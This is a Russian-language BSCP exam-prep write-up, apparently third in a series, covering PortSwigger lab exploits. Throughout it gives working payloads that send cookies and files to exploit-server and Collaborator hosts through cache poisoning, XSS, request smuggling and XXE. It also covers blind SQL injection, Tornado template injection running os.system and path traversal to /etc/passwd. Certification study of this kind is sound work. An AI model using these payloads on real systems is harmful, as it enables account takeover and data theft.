BSCP step Three
Предыдущие работы по теме:
https://telegra.ph/BSCP-step-One-07-19
https://telegra.ph/BSCP-step-Two-07-19
https://telegra.ph/BSCP-step-Two-pt2-07-21
Этап 1 — Получение доступа к учётной записи пользователя с низким уровнем привилегий.
Пример 1. Web Cache Poisoning
Forgot Password — принимает имя пользователя или электронную почту. Далее следует страница ввода кода и нового пароля.
Lab
Отправляем GET запрос на домашнюю страницу в Repeater и добавляем параметр для очистки кэша, например:
?cd=qweqwe
Добавим заголовок X-Forwarded-Host с произвольным именем хоста, например example.com.
В данном случае заголовок X-Forwarded-Host используется для динамического создания абсолютного пути импорта файла javascript, который хранится по адресу:
/resources/js/tracking.js
Повторив запрос, мы можем заметить, что ответ содержит заголовок X-Cache: hit, что говорит нам о том что ответ пришёл из кэша.
Переходим на exploit-server и изменяем имя файла, чтобы оно ссылалось на абсолютный путь на сайте. И добавляем в тело следующую полезную нагрузку:
document.location='https://exploit-0ae200c803c7867c80fd5899018e00eb.exploit-server.net/cookie?c='+document.cookie;
Редактируем X-Forwarded-Host в запросе главной страницы:
В журнале exploit-server мы можем увидеть файл cookie пользователя:
Эксплуатация на экзамене
Подставляем cookie чтобы войти в систему как carlos, меняем его email используя файл cookie. Затем войдя в My Account жмём забыли пароль. Отправляем запрос на сброс пароля, получаем письмо на свой exploit-server, и успешно меняем пароль пользователя.
Пример 2. Web Cache Poisoning
В приложении присутствует расширенный поиск, и может показаться что здесь есть SQL Injection. Но на экзамене функциональности могут быть похожи, и вектор может быть другим.
При вводе неправильного имени пользователя возвращается ошибка позволяющая перечислить существующих пользователей.
Запускаем ParamMiner и он находит дополнительные заголовки для использования. В этом случае X-Forwarded-Host поддерживается.
Lab
Отправляем POST-запрос на /forgot-password в Repeater. Обращаем внимание, что заголовок X-Forwarded-Host поддерживается, и мы можем использовать его, чтобы указать динамически сгенерированную ссылку для сброса пароля.
Получаем токен для восстановления пароля:
Используем его для смены пароля пользователя:
Пример 3. HTTP Smuggling
HTTP Smuggling + XSS через user-agent.
Burp Scanner находит запрос HTTP Smuggle который вернет 200. Он и подходит для эксплуатации. Используя этот запрос удаляем лишние заголовки и добавляем полезную нагрузку которую предоставил Burp, изменив URl:
GET /post?postId=4 HTTP/1.1 Host: acd41f9c1e825bd4c0813d180019004c.web-security-academy.net User-agent: "><script>alert(document.cookie);var x=new XMLHttpRequest(); x.open("GET","https://exploit-ac461fea1ef05b25c0a73d0e017700da.web-security- academy.net/"+document.cookie);x.send();</script>
А затем отправляем его через Intruder необходимое количество раз, 100 или около того.
Пример 4. XSS
Lab
DETECT
XSS в строке поиска, необходимо проверить каждый тег и обработчик событий через Burp Intruder.
Доступен тэг body
Ищем к нему разрешенный обработчик событий:
В итоге получаем:
<body onresize=>
ALERT
<body onresize="alert``">
Полезная нагрузка для exploit-server:
<iframe src="https://0a8d00b3037de20d82ce0b420016004a.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
Полезная нагрузка встречающаяся на экзамене:
<iframe src="https://acac1f2c1e7f6507c0a71e0c00b100d9.web-security- academy.net/?query=%27%3Cbody%20onhashchange=%22eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXhwbG9pdC0wYTU2MDAxNjAzNzBlMjMzODI2NzBhMTkwMTFiMDAzMC5leHBsb2l0LXNlcnZlci5uZXQvLz9jPScrZG9jdW1lbnQuY29va2ll'))%22%3E//" onload="this.onload='';this.src+='#XSS'"></iframe>
Пример 5. DOM-based vulnerabilities
Используем параметр перенаправления.
<iframe src=https://0ae300c1040f519280cdbc1e00e90086.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
Полезная нагрузка для экзамена:
<iframe src=https://0ae300c1040f519280cdbc1e00e90086.web-security-academy.net/onload='this.contentWindow.postMessage("{\"type\":\"redirect\",\"redirectUrl\":\"javascript:window.location=%22https://exploit-0a6100240492516f8041bbaf01e700d5.exploit-server.net/?c=%22%2bdocument.cookie\"}","*")'>
Этап 2 — Повышение привилегий до уровня администратора.
Пример 1. SQL Injection
Разбор похожей уязвимости встречался в предыдущей статье.
Полезная нагрузка для экзамена:
^'))SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THE N+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users—
Пример 2. Broken Access Control
Отправляем запрос на смену email в Burp Repeater.
Добавляем в передаваемый json ключ-значение roleid:2
В итоге получаем доступ к админской панели:
Как это выглядит на экзамене
Добавляем roleid и пробуем рандомные числа. Для того чтобы определить количество ролей в приложении. Попробуйте числа больше 200, в моем случае лимитом стало 157.
Отправляем запрос в Intruder и запускаем атаку, от 0 до 157. Таким образом мы сможем понять какая роль даст админский доступ.
Этап 3 — Чтение файла /home/carlos/secret
Пример 1. Server Side Template Injection
Войдя в аккаунт видим функцию Preferred name:
Перехватываем запрос и редактируем параметр blog-post-author-display
Оставив комментарий на сайте можно заметить что значение полезной нагрузки в никнейме посчиталось:
В данной случае шаблонизатор используемый на сайте - Tornado, можно изучить его документацию чтобы понять как работает эксплойт. Простыми словами, в документации Tornado сказано что синтаксис для выполнения произвольного кода Python выглядит следующим образом:
{% somePython %}
Также в документации можно узнать как импортировать модуль os, который можно использовать для выполнения произвольных системных команд.
Зная это, подобрать полезную нагрзку будет не сложно:
{% import os %} {{os.system('rm /home/carlos/morale.txt')
Полезная нагрузка для экзамена:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').read() }}
Пример 2. LFI and Directory Traversal
Открываем прямую ссылку по которой доступна картинка и добавляем полезную нагрузку:
..%252f..%252f..%252fetc/passwd
Пример с экзамена
Используем ссылку на картинку:
GET /admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd
GET /admin/adminimg?imagefile=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/proc/self/env
Слово "secret" внесено в черный список - используйте double encode.
Пример 3. File Upload and XXE
Lab
Добавляем полезную нагрузку на свой exploit-server:
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://a8j2mna3od26l7b4cqb3b2j40v6muci1.oastify.com/?x=%file;'>"> %eval; %exfil;
Сохраняем вредоносный файл DTD на своем сервере и копируем ссылку на него.
Для выполнения лабораторной работы используем функцию проверки остатков товара, добавив объект параметра, ссылающийся на вредоносную DTD.
Перехватываем запрос проверки наличия товара и вставляем полезную нагрузку между объявлением XML и элементов stockCheck:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a1d00d303b686dc80cfbc7a01b400c4.exploit-server.net/exploit.dtd"> %xxe; ]>
Выполняем запрос:
Получаем ответ на Collaborator:
Экзамен
File to upload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-acba1f891fe780e3c09f0a9f01d000be.web- security-academy.net/exploit.dtd"> %xxe; ]> <users> <user> <username>Example1</username> <email>[email protected]</email> </user> <user> <username>&xxe;</username> <email>[email protected]</email> </user> </users>
Exploit server code:
<!ENTITY % file SYSTEM "file:///home/carlos/secret"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://435nnpyidat3bzow2cb42ig7iyoucj.burpcollaborator.net/?x=%file;'>"> %eval; %exfil;